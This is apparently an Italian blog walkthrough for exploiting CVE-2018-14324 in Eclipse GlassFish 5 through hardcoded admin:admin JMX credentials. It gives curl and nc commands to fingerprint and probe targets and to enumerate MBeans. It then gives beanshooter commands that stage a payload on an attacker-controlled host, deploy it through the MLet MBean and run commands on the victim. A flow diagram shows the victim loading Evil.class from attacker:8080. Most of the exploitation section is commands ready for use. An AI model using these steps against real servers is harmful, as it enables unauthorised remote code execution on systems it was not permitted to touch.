Hacking Eclipse GlassFish - CVE-2018-14324

La descrizione di CVE-2018-14324 non spiega completamente l'impatto di questa vulnerabilità. TLDR hai accesso a Java Management Extensions (JMX) tramite credenziali hardcoded admin:admin.

Mentre l'impatto è elencato come " potenzialmente informazioni sensibili, operazioni sul database o manipolazione della demo tramite una sessione JMX RMI" non spiega cosa significhi la manipolazione tramite sessione JMX RMI. Ho approfondito solo a causa dell'alto punteggio CVSS di 9.8 e ho scoperto che puoi praticamente ottenere RCE tramite il MBean javax.management.loading:type=MLet, che è abilitato per impostazione predefinita in un'istanza di GlassFish 5.

Scoperta

Enumera il server GlassFish guardando il banner della versione.

curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'

Se la versione è 5, è vulnerabile a CVE-2018-14324.

Poi verifica se il servizio JMX RMI è in esecuzione sulla porta 7676.

nc <IP_ADDRESS> 7676

Dovresti vedere la stringa di connessione al servizio JMX RMI. Prendi la stringa per un uso successivo.

Per esempio:

service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx

Come puoi vedere, l'hostname vm31465 è usato nella stringa di connessione, ci sono due porte menzionate, 8686 e 7676.

7676 è la porta JMX RMI usata per la ricerca JNDI
8686 è la porta JMX Endpoint usata per la comunicazione JMX

Dovresti aggiungere vm31465 al tuo file /etc/hosts puntando all'indirizzo IP . Se usi Beanshooter, non è necessario.

Enumerazione

Cosa diavolo è JMX? È Java Management Extensions (JMX), una tecnologia che ti permette di implementare interfacce di gestione per applicazioni Java. Pensala come SNMP per applicazioni Java.

Prima, devi enumerare gli MBean disponibili sul sistema target.

java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# se non funziona
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin

Con questo script, otterrai una lista di MBean, i loro attributi e operazioni.

L'MBean com.sun.management:type=DiagnosticCommand ti permette di eseguire comandi diagnostici sulla JVM target. Puoi usarlo per enumerare le proprietà di sistema, vedi DiagnosticCommand.java per maggiori informazioni.

Se vedi javax.management.loading:type=MLet, dovresti essere in grado di sfruttare il target. Questo MBean ti permette di caricare classi Java remote nella JVM target. Tuttavia, il security manager di Java potrebbe impedirti di eseguire codice arbitrario. L'unico exploit funzionante per RCE era il modulo tomka in beanshooter. Gli exploit personalizzati venivano bloccati dal security manager. Il caricamento MLet funzionava ancora, ma alla classe non era permesso eseguire codice.

Sfruttamento

Usa il modulo tomka di Beanshooter per sfruttare il target.

git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests

## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka

## DEPLOY

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager

## COMMAND EXECUTION

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'

Puoi anche eseguire il debug scrivendo il tuo caricatore MBean e monitorando se il target si connette al tuo server MLet. Il flusso è il seguente:

attacker -> victim:7776 : javax.management.loading:type=MLet MBean lookup

attacker:8080 <- victim:7776 : Request MLet file
attacker:8080 -> victim:7776 : MLet with URL to Java class file (e.g. http://attacker:8080/Evil.class)
attacker:8080 <- victim:7776 : Request Java class file
attacker:8080 -> victim:7776 : Java class file

attacker -> victim:7776 : Invoke method on loaded Java class (e.g. Evil.listFiles())

CVE-2018-14324-Exploit

Più Popolari